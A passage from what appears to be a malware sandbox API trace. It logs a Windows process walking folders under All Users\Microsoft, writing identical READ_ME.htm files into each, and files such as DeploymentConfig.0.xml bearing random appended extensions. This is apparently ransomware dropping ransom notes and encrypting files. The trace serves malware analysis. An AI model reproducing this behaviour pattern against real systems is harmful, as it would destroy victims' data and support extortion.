Users\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x32 [0140.292] SetErrorMode (uMode=0x1) returned 0x0 [0140.292] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0140.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.293] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.293] SetErrorMode (uMode=0x0) returned 0x1 [0140.293] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x38 [0140.294] SetErrorMode (uMode=0x1) returned 0x0 [0140.294] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1 [0140.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.295] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.295] SetErrorMode (uMode=0x0) returned 0x1 [0140.296] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x38 [0140.296] SetErrorMode (uMode=0x1) returned 0x0 [0140.296] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1 [0140.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1 [0140.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1 [0140.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1 [0140.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1 [0140.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1 [0140.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1 [0140.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.297] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.297] SetErrorMode (uMode=0x0) returned 0x1 [0140.297] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x44 [0140.297] SetErrorMode (uMode=0x1) returned 0x0 [0140.298] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.299] GetFileType (hFile=0x1d0) returned 0x1 [0140.299] SetErrorMode (uMode=0x0) returned 0x1 [0140.299] GetFileType (hFile=0x1d0) returned 0x1 [0140.299] WriteFile (in: hFile=0x1d0, lpBuffer=0x28aca90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28aca90*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0140.300] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\READ_ME.htm", lpFilePart=0x0) returned 0x3e [0140.301] SetErrorMode (uMode=0x1) returned 0x0 [0140.301] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.302] GetFileType (hFile=0x1d0) returned 0x1 [0140.302] SetErrorMode (uMode=0x0) returned 0x1 [0140.302] GetFileType (hFile=0x1d0) returned 0x1 [0140.302] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b1050*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28b1050*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0140.304] SetErrorMode (uMode=0x1) returned 0x0 [0140.304] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.305] GetFileType (hFile=0x1d0) returned 0x1 [0140.305] SetErrorMode (uMode=0x0) returned 0x1 [0140.305] GetFileType (hFile=0x1d0) returned 0x1 [0140.305] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b5600*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28b5600*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.306] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0140.307] SetErrorMode (uMode=0x1) returned 0x0 [0140.307] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\assistance\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.308] GetFileType (hFile=0x1d0) returned 0x1 [0140.308] SetErrorMode (uMode=0x0) returned 0x1 [0140.308] GetFileType (hFile=0x1d0) returned 0x1 [0140.308] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b9b90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28b9b90*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0140.309] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0140.320] SetErrorMode (uMode=0x1) returned 0x0 [0140.320] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="634EF343-54B0-4B56-9FD9-A785E3F22968", cAlternateFileName="634EF3~1")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9e01d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f9e01d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e1fd840, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml.1nwo7w", cAlternateFileName="DEPLOY~1.1NW")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2661ba40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e249b00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml.q20imu", cAlternateFileName="DEPLOY~1.Q20")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7d11070, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7d11070, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e3544a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml.o1gru5", cAlternateFileName="DEPLOY~1.O1G")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, 